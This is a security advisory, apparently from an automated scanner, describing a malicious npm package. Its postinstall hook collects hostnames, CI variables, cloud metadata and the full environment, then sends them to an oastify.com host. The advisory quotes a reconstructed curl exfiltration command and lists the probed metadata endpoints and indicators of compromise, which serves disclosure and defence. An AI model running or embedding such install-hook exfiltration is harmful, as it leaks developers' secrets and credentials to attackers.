GCVE-110-OSM-2026-9240

This package is a supply chain attack designed to exfiltrate system reconnaissance data on install. The postinstall.js script explicitly collects hostname, username, process tree, CI/CD environment variables (GITHUB_REPOSITORY, GITHUB_ACTOR, GITHUB_RUN_ID), network configuration, cloud metadata availability (AWS IMDSv1 at 169.254.169.254 and Tencent Cloud metadata), and the full environment, then base64-encodes the payload and exfiltrates it via curl to an OAST endpoint at pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The attacker model is a developer/CI reconnaissance campaign targeting npm install pipelines, specifically checking for GitHub Actions runners and cloud environments. The comment '精简溯源版 — 核心信息 + 完整 ENV' (Chinese: 'simplified attribution version — core info + full ENV') confirms this is an intentional, authored payload, not accidental. The publisher account is less than a day old with 5 packages and no repository links, consistent with a throwaway attacker infrastructure account. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$data" (primary, reconstructed) - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js EXFIL - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 5826f6884581fbfa40d0793ff4c4b6f3b4e5e0a704bfd87bf7c4e3ec274b2ec9